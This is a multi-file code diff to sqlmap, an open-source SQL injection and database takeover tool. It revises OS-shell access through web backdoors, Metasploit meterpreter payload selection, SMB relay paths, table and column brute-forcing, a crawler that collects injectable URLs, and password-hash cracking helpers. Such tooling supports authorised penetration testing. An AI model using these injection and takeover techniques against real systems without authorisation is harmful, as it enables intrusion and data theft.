+        elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             retVal = self.webBackdoorRunCmd(cmd)
 
         elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -104,7 +105,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
             self.execCmd(cmd)
 
     def shell(self):
-        if self.webBackdoorUrl and not isStackingAvailable():
+        if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
             infoMsg = "calling OS shell. To quit type "
             infoMsg += "'x' or 'q' and press ENTER"
             logger.info(infoMsg)

lib/takeover/metasploit.py

@@ -23,6 +23,7 @@ from lib.core.common import dataToStdout
 from lib.core.common import Backend
 from lib.core.common import getLocalIP
 from lib.core.common import getRemoteIP
+from lib.core.common import isDigit
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
 from lib.core.common import pollProcess
@@ -154,7 +155,7 @@ class Metasploit(object):
 
         choice = readInput(message, default="%d" % default)
 
-        if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1:
+        if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1:
             choice = default
 
         choice = int(choice)
@@ -227,24 +228,21 @@ class Metasploit(object):
 
                     if not choice or choice == "2":
                         _payloadStr = "windows/meterpreter"
-
                         break
 
                     elif choice == "3":
                         _payloadStr = "windows/shell"
-
                         break
 
                     elif choice == "1":
                         if Backend.isDbms(DBMS.PGSQL):
                             logger.warn("beware that the VNC injection might not work")
-
                             break
 
                         elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                             break
 
-                    elif not choice.isdigit():
+                    elif not isDigit(choice):
                         logger.warn("invalid value, only digits are allowed")
 
                     elif int(choice) < 1 or int(choice) > 2:
@@ -634,7 +632,7 @@ class Metasploit(object):
             self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
             content = decloak(self.shellcodeexecLocal)
             if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
-                content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))
+                content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))))
                 _ = cloak(data=content)
                 handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
                 os.close(handle)
@@ -695,9 +693,9 @@ class Metasploit(object):
         self._runMsfCliSmbrelay()
 
         if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
-            self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
+            self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
         else:
-            self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
+            self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
 
         debugMsg = "Metasploit Framework console exited with return "
         debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)

lib/takeover/udf.py

@@ -11,6 +11,7 @@ from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import checkFile
 from lib.core.common import dataToStdout
+from lib.core.common import isDigit
 from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
@@ -339,11 +340,9 @@ class UDF(object):
 
                 if choice == 'Q':
                     break
-                elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
+                elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
                     choice = int(choice)
                     break
-                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
-                    break
                 else:
                     warnMsg = "invalid value, only digits >= 1 and "
                     warnMsg += "<= %d are allowed" % len(udfList)

lib/takeover/web.py

@@ -22,6 +22,7 @@ from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSQLSnippet
 from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
+from lib.core.common import isDigit
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import isWindowsDriveLetterPath
 from lib.core.common import normalizePath
@@ -200,7 +201,7 @@ class Web(object):
         while True:
             choice = readInput(message, default=str(default))
 
-            if not choice.isdigit():
+            if not isDigit(choice):
                 logger.warn("invalid value, only digits are allowed")
 
             elif int(choice) < 1 or int(choice) > len(choices):

lib/techniques/blind/inference.py

@@ -8,10 +8,8 @@ See the file 'LICENSE' for copying permission
 from __future__ import division
 
 import re
-import threading
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -39,6 +37,7 @@ from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapThreadException
+from lib.core.exception import SqlmapUnsupportedFeatureException
 from lib.core.settings import CHAR_INFERENCE_MARK
 from lib.core.settings import INFERENCE_BLANK_BREAK
 from lib.core.settings import INFERENCE_EQUALS_CHAR
@@ -59,6 +58,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from lib.utils.xrange import xrange
 
 def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
@@ -190,10 +190,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             else:
                 dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
 
-        hintlock = threading.Lock()
-
         def tryHint(idx):
-            with hintlock:
+            with kb.locks.hint:
                 hintValue = kb.hintValue
 
             if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
@@ -212,7 +210,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 if result:
                     return hintValue[idx - 1]
 
-            with hintlock:
+            with kb.locks.hint:
                 kb.hintValue = ""
 
             return None
@@ -428,6 +426,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             else:
                                 return None
             else:
+                if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
+                    errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
+                    raise SqlmapUnsupportedFeatureException(errMsg)
+
                 candidates = list(originalTbl)
                 bit = 0
                 while len(candidates) > 1:

lib/techniques/dns/use.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import re
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_DNS_LABEL
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
+from lib.utils.safe2bin import safecharencode
 
 def dnsUse(payload, expression):
     """

lib/techniques/error/use.py

@@ -10,7 +10,6 @@ from __future__ import print_function
 import re
 import time
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
@@ -60,6 +59,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 
 def _oneShotErrorUse(expression, field=None, chunkTest=False):
@@ -76,7 +76,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
     threadData.resumed = retVal is not None and not partialValue
 
-    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
+    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
         debugMsg = "searching for error chunk length..."
         logger.debug(debugMsg)
 
@@ -117,7 +117,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                 if field:
                     nulledCastedField = agent.nullAndCastField(field)
 
-                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
+                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
                         extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
                         if extendedField != field:  # e.g. MIN(surname)
                             nulledCastedField = extendedField.replace(field, nulledCastedField)
@@ -177,7 +177,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                             else:
                                 output = output.rstrip()
 
-                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
+                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
                     if offset == 1:
                         retVal = output
                     else:
@@ -367,7 +367,7 @@ def errorUse(expression, dump=False):
                     message = "due to huge table size do you want to remove "
                     message += "ORDER BY clause gaining speed over consistency? [y/N] "
 
-                    if readInput(message, default="N", boolean=True):
+                    if readInput(message, default='N', boolean=True):
                         expression = expression[:expression.index(" ORDER BY ")]
 
                 numThreads = min(conf.threads, (stopLimit - startLimit))

lib/techniques/union/test.py

@@ -38,6 +38,7 @@ from lib.core.settings import MIN_RATIO
 from lib.core.settings import MIN_STATISTICAL_RANGE
 from lib.core.settings import MIN_UNION_RESPONSES
 from lib.core.settings import NULL
+from lib.core.settings import ORDER_BY_MAX
 from lib.core.settings import ORDER_BY_STEP
 from lib.core.settings import UNION_MIN_RESPONSE_CHARS
 from lib.core.settings import UNION_STDEV_COEFF
@@ -74,6 +75,9 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
                 if not conf.uCols and _orderByTest(highCols):
                     lowCols = highCols
                     highCols += ORDER_BY_STEP
+
+                    if highCols > ORDER_BY_MAX:
+                        break
                 else:
                     while not found:
                         mid = highCols - (highCols - lowCols) // 2
@@ -163,7 +167,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
     if retVal:
         infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
-        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))
+        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg))
 
     return retVal
 
@@ -290,7 +294,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
             if not conf.uChar and count > 1 and kb.uChar == NULL:
                 message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
 
-                if not readInput(message, default="Y", boolean=True):
+                if not readInput(message, default='Y', boolean=True):
                     warnMsg += "usage of option '--union-char' "
                     warnMsg += "(e.g. '--union-char=1') "
                 else:

lib/techniques/union/use.py

@@ -10,7 +10,6 @@ import re
 import time
 import xml.etree.ElementTree
 
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import arrayizeValue
@@ -62,6 +61,7 @@ from lib.core.threads import runThreads
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
+from lib.utils.safe2bin import safecharencode
 from thirdparty import six
 from thirdparty.odict import OrderedDict
 
@@ -123,7 +123,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
                             try:
                                 decodeBase64(value)
-                            except binascii.Error:
+                            except (binascii.Error, TypeError):
                                 base64 = False
                                 break
 

lib/utils/brute.py

@@ -60,6 +60,7 @@ def _addPageTextWords():
 
     return wordsList
 
+@stackedmethod
 def tableExists(tableFile, regex=None):
     if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
         warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
@@ -74,15 +75,17 @@ def tableExists(tableFile, regex=None):
 
     result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
 
-    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-        conf.db = conf.db.upper()
-
     if result:
         errMsg = "can't use table existence check because of detected invalid results "
         errMsg += "(most likely caused by inability of the used injection "
         errMsg += "to distinguish erroneous results)"
         raise SqlmapDataException(errMsg)
 
+    pushValue(conf.db)
+
+    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+        conf.db = conf.db.upper()
+
     message = "which common tables (wordlist) file do you want to use?\n"
     message += "[1] default '%s' (press Enter)\n" % tableFile
     message += "[2] custom"
@@ -92,80 +95,88 @@ def tableExists(tableFile, regex=None):
         message = "what's the custom common tables file location?\n"
         tableFile = readInput(message) or tableFile
 
-    infoMsg = "checking table existence using items from '%s'" % tableFile
+    infoMsg = "performing table existence using items from '%s'" % tableFile
     logger.info(infoMsg)
 
     tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
     tables.extend(_addPageTextWords())
     tables = filterListValue(tables, regex)
 
-    threadData = getCurrentThreadData()
+    for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
-    threadData.shared.count = 0
+        if conf.db:
-    threadData.shared.limit = len(tables)
+            infoMsg = "checking database '%s'" % conf.db
-    threadData.shared.files = []
+            logger.info(infoMsg)
-    threadData.shared.unique = set()
 
-    def tableExistsThread():
         threadData = getCurrentThreadData()
+        threadData.shared.count = 0
+        threadData.shared.limit = len(tables)
+        threadData.shared.files = []
+        threadData.shared.unique = set()
 
-        while kb.threadContinue:
+        def tableExistsThread():
-            kb.locks.count.acquire()
+            threadData = getCurrentThreadData()
-            if threadData.shared.count < threadData.shared.limit:
-                table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
-                threadData.shared.count += 1
-                kb.locks.count.release()
-            else:
-                kb.locks.count.release()
-                break
 
-            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
+            while kb.threadContinue:
-                fullTableName = "%s.%s" % (conf.db, table)
+                kb.locks.count.acquire()
-            else:
+                if threadData.shared.count < threadData.shared.limit:
-                fullTableName = table
+                    table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
+                    threadData.shared.count += 1
+                    kb.locks.count.release()
+                else:
+                    kb.locks.count.release()
+                    break
 
-            result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
+                if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
+                    fullTableName = "%s.%s" % (conf.db, table)
+                else:
+                    fullTableName = table
 
-            kb.locks.io.acquire()
+                result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
 
-            if result and table.lower() not in threadData.shared.unique:
+                kb.locks.io.acquire()
-                threadData.shared.files.append(table)
-                threadData.shared.unique.add(table.lower())
 
-                if conf.verbose in (1, 2) and not conf.api:
+                if result and table.lower() not in threadData.shared.unique:
-                    clearConsoleLine(True)
+                    threadData.shared.files.append(table)
-                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
+                    threadData.shared.unique.add(table.lower())
-                    dataToStdout(infoMsg, True)
 
-            if conf.verbose in (1, 2):
+                    if conf.verbose in (1, 2) and not conf.api:
-                status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
+                        clearConsoleLine(True)
-                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
+                        infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
+                        dataToStdout(infoMsg, True)
 
-            kb.locks.io.release()
+                if conf.verbose in (1, 2):
+                    status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
+                    dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
 
-    try:
+                kb.locks.io.release()
-        runThreads(conf.threads, tableExistsThread, threadChoice=True)
-    except KeyboardInterrupt:
-        warnMsg = "user aborted during table existence "
-        warnMsg += "check. sqlmap will display partial output"
-        logger.warn(warnMsg)
 
-    clearConsoleLine(True)
+        try:
-    dataToStdout("\n")
+            runThreads(conf.threads, tableExistsThread, threadChoice=True)
+        except KeyboardInterrupt:
+            warnMsg = "user aborted during table existence "
+            warnMsg += "check. sqlmap will display partial output"
+            logger.warn(warnMsg)
 
-    if not threadData.shared.files:
+        clearConsoleLine(True)
-        warnMsg = "no table(s) found"
+        dataToStdout("\n")
-        logger.warn(warnMsg)
-    else:
-        for item in threadData.shared.files:
-            if conf.db not in kb.data.cachedTables:
-                kb.data.cachedTables[conf.db] = [item]
-            else:
-                kb.data.cachedTables[conf.db].append(item)
 
-    for _ in ((conf.db, item) for item in threadData.shared.files):
+        if not threadData.shared.files:
-        if _ not in kb.brute.tables:
+            warnMsg = "no table(s) found"
-            kb.brute.tables.append(_)
+            if conf.db:
+                 warnMsg += " for database '%s'" % conf.db
+            logger.warn(warnMsg)
+        else:
+            for item in threadData.shared.files:
+                if conf.db not in kb.data.cachedTables:
+                    kb.data.cachedTables[conf.db] = [item]
+                else:
+                    kb.data.cachedTables[conf.db].append(item)
 
+        for _ in ((conf.db, item) for item in threadData.shared.files):
+            if _ not in kb.brute.tables:
+                kb.brute.tables.append(_)
+
+    conf.db = popValue()
     hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
 
     return kb.data.cachedTables
@@ -278,6 +289,8 @@ def columnExists(columnFile, regex=None):
         for column in threadData.shared.files:
             if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
                 result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
+            elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
+                result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
             else:
                 result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
 

lib/utils/crawler.py

@@ -15,6 +15,7 @@ import time
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import extractRegexResult
 from lib.core.common import findPageForms
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
@@ -40,11 +41,15 @@ from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
 from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import urllib as _urllib
 
-def crawl(target):
+def crawl(target, post=None, cookie=None):
+    if not target:
+        return
+
     try:
         visited = set()
         threadData = getCurrentThreadData()
         threadData.shared.value = OrderedSet()
+        threadData.shared.formsFound = False
 
         def crawlThread():
             threadData = getCurrentThreadData()
@@ -67,7 +72,7 @@ def crawl(target):
                 content = None
                 try:
                     if current:
-                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
+                        content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0]
                 except SqlmapConnectionException as ex:
                     errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
                     errMsg += "URL '%s'" % current
@@ -92,8 +97,8 @@ def crawl(target):
                         soup = BeautifulSoup(content)
                         tags = soup('a')
 
-                        if not tags:
+                        tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
-                            tags = re.finditer(r'(?i)<a[^>]+href=["\'](?P<href>[^>"\']+)', content)
+                        tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
 
                         for tag in tags:
                             href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
@@ -112,10 +117,10 @@ def crawl(target):
                                 elif not _:
                                     continue
 
-                                if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
+                                if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
                                     with kb.locks.value:
                                         threadData.shared.deeper.add(url)
-                                        if re.search(r"(.*?)\?(.+)", url):
+                                        if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url):
                                             threadData.shared.value.add(url)
                     except UnicodeEncodeError:  # for non-HTML files
                         pass
@@ -123,7 +128,7 @@ def crawl(target):
                         pass
                     finally:
                         if conf.forms:
-                            findPageForms(content, current, False, True)
+                            threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0
 
                 if conf.verbose in (1, 2):
                     threadData.shared.count += 1
@@ -133,36 +138,44 @@ def crawl(target):
         threadData.shared.deeper = set()
         threadData.shared.unprocessed = set([target])
 
-        if not conf.sitemapUrl:
+        _ = re.sub(r"(?<!/)/(?!/).*", "", target)
+        if _:
+            if target.strip('/') != _.strip('/'):
+                threadData.shared.unprocessed.add(_)
+
+        if re.search(r"\?.*\b\w+=", target):
+            threadData.shared.value.add(target)
+
+        if kb.checkSitemap is None:
             message = "do you want to check for the existence of "
             message += "site's sitemap(.xml) [y/N] "
+            kb.checkSitemap = readInput(message, default='N', boolean=True)
 
-            if readInput(message, default='N', boolean=True):
+        if kb.checkSitemap:
-                found = True
+            found = True
-                items = None
+            items = None
-                url = _urllib.parse.urljoin(target, "/sitemap.xml")
+            url = _urllib.parse.urljoin(target, "/sitemap.xml")
-                try:
+            try:
-                    items = parseSitemap(url)
+                items = parseSitemap(url)
-                except SqlmapConnectionException as ex:
+            except SqlmapConnectionException as ex:
-                    if "page not found" in getSafeExString(ex):
+                if "page not found" in getSafeExString(ex):
-                        found = False
+                    found = False
-                        logger.warn("'sitemap.xml' not found")
+                    logger.warn("'sitemap.xml' not found")
-                except:
+            except:
-                    pass
+                pass
-                finally:
+            finally:
-                    if found:
+                if found:
-                        if items:
+                    if items:
-                            for item in items:
+                        for item in items:
-                                if re.search(r"(.*?)\?(.+)", item):
+                            if re.search(r"(.*?)\?(.+)", item):
-                                    threadData.shared.value.add(item)
+                                threadData.shared.value.add(item)
-                            if conf.crawlDepth > 1:
+                        if conf.crawlDepth > 1:
-                                threadData.shared.unprocessed.update(items)
+                            threadData.shared.unprocessed.update(items)
-                        logger.info("%s links found" % ("no" if not items else len(items)))
+                    logger.info("%s links found" % ("no" if not items else len(items)))
 
-        infoMsg = "starting crawler"
+        if not conf.bulkFile:
-        if conf.bulkFile:
+            infoMsg = "starting crawler for target URL '%s'" % target
-            infoMsg += " for target URL '%s'" % target
+            logger.info(infoMsg)
-        logger.info(infoMsg)
 
         for i in xrange(conf.crawlDepth):
             threadData.shared.count = 0
@@ -189,13 +202,38 @@ def crawl(target):
         clearConsoleLine(True)
 
         if not threadData.shared.value:
-            warnMsg = "no usable links found (with GET parameters)"
+            if not (conf.forms and threadData.shared.formsFound):
-            logger.warn(warnMsg)
+                warnMsg = "no usable links found (with GET parameters)"
+                if conf.forms:
+                    warnMsg += " or forms"
+                logger.warn(warnMsg)
         else:
             for url in threadData.shared.value:
                 kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))
 
-        storeResultsToFile(kb.targets)
+        if kb.targets:
+            if kb.normalizeCrawlingChoice is None:
+                message = "do you want to normalize "
+                message += "crawling results [Y/n] "
+
+                kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)
+
+            if kb.normalizeCrawlingChoice:
+                seen = set()
+                results = OrderedSet()
+
+                for target in kb.targets:
+                    value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "")
+                    match = re.search(r"/[^/?]*\?.+\Z", value)
+                    if match:
+                        key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
+                        if '=' in key and key not in seen:
+                            results.add(target)
+                            seen.add(key)
+
+                kb.targets = results
+
+            storeResultsToFile(kb.targets)
 
 def storeResultsToFile(results):
     if not results:

lib/utils/deps.py

@@ -81,8 +81,8 @@ def checkDependencies():
         missing_libraries.add('python-ntlm')
 
     try:
-        __import__("websocket.ABNF")
+        __import__("websocket._abnf")
-        debugMsg = "'python websocket-client' library is found"
+        debugMsg = "'websocket-client' library is found"
         logger.debug(debugMsg)
     except ImportError:
         warnMsg = "sqlmap requires 'websocket-client' third-party library "
@@ -91,6 +91,26 @@ def checkDependencies():
         logger.warn(warnMsg)
         missing_libraries.add('websocket-client')
 
+    try:
+        __import__("tkinter")
+        debugMsg = "'tkinter' library is found"
+        logger.debug(debugMsg)
+    except ImportError:
+        warnMsg = "sqlmap requires 'tkinter' library "
+        warnMsg += "if you plan to run a GUI"
+        logger.warn(warnMsg)
+        missing_libraries.add('tkinter')
+
+    try:
+        __import__("tkinter.ttk")
+        debugMsg = "'tkinter.ttk' library is found"
+        logger.debug(debugMsg)
+    except ImportError:
+        warnMsg = "sqlmap requires 'tkinter.ttk' library "
+        warnMsg += "if you plan to run a GUI"
+        logger.warn(warnMsg)
+        missing_libraries.add('tkinter.ttk')
+
     if IS_WIN:
         try:
             __import__("pyreadline")

lib/utils/hash.py

@@ -33,6 +33,7 @@ else:
 import base64
 import binascii
 import gc
+import hashlib
 import os
 import re
 import tempfile
@@ -155,7 +156,24 @@ def postgres_passwd(password, username, uppercase=False):
 
     return retVal.upper() if uppercase else retVal.lower()
 
-def mssql_passwd(password, salt, uppercase=False):
+def mssql_new_passwd(password, salt, uppercase=False):  # since version '2012'
+    """
+    Reference(s):
+        http://hashcat.net/forum/thread-1474.html
+        https://sqlity.net/en/2460/sql-password-hash/
+
+    >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
+    '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
+    """
+
+    binsalt = decodeHex(salt)
+    unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
+
+    retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
+
+    return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
+
+def mssql_passwd(password, salt, uppercase=False):  # versions '2005' and '2008'
     """
     Reference(s):
         http://www.leidecker.info/projects/phrasendrescher/mssql.c
@@ -172,7 +190,7 @@ def mssql_passwd(password, salt, uppercase=False):
 
     return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
 
-def mssql_old_passwd(password, salt, uppercase=True):  # prior to version '2005'
+def mssql_old_passwd(password, salt, uppercase=True):  # version '2000' and before
     """
     Reference(s):
         www.exploit-db.com/download_pdf/15537/
@@ -190,22 +208,6 @@ def mssql_old_passwd(password, salt, uppercase=True):  # prior to version '2005'
 
     return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
 
-def mssql_new_passwd(password, salt, uppercase=False):
-    """
-    Reference(s):
-        http://hashcat.net/forum/thread-1474.html
-
-    >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
-    '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
-    """
-
-    binsalt = decodeHex(salt)
-    unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
-
-    retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
-
-    return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
-
 def oracle_passwd(password, salt, uppercase=True):
     """
     Reference(s):
@@ -246,6 +248,18 @@ def oracle_old_passwd(password, username, uppercase=True):  # prior to version '
 
     return retVal.upper() if uppercase else retVal.lower()
 
+def md4_generic_passwd(password, uppercase=False):
+    """
+    >>> md4_generic_passwd(password='testpass', uppercase=False)
+    '5b4d300688f19c8fd65b8d6ccf98e0ae'
+    """
+
+    password = getBytes(password)
+
+    retVal = hashlib.new("md4", password).hexdigest()
+
+    return retVal.upper() if uppercase else retVal.lower()
+
 def md5_generic_passwd(password, uppercase=False):
     """
     >>> md5_generic_passwd(password='testpass', uppercase=False)
@@ -666,6 +680,9 @@ def attackDumpedTable():
                 if len(table[column]["values"]) <= i:
                     continue
 
+                if conf.binaryFields and column in conf.binaryFields:
+                    continue
+
                 value = table[column]["values"][i]
 
                 if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None:
@@ -708,6 +725,7 @@ def attackDumpedTable():
                 if hash_:
                     key = hash_ if hash_ not in replacements else replacements[hash_]
                     lut[key.lower()] = password
+                    lut["0x%s" % key.lower()] = password
 
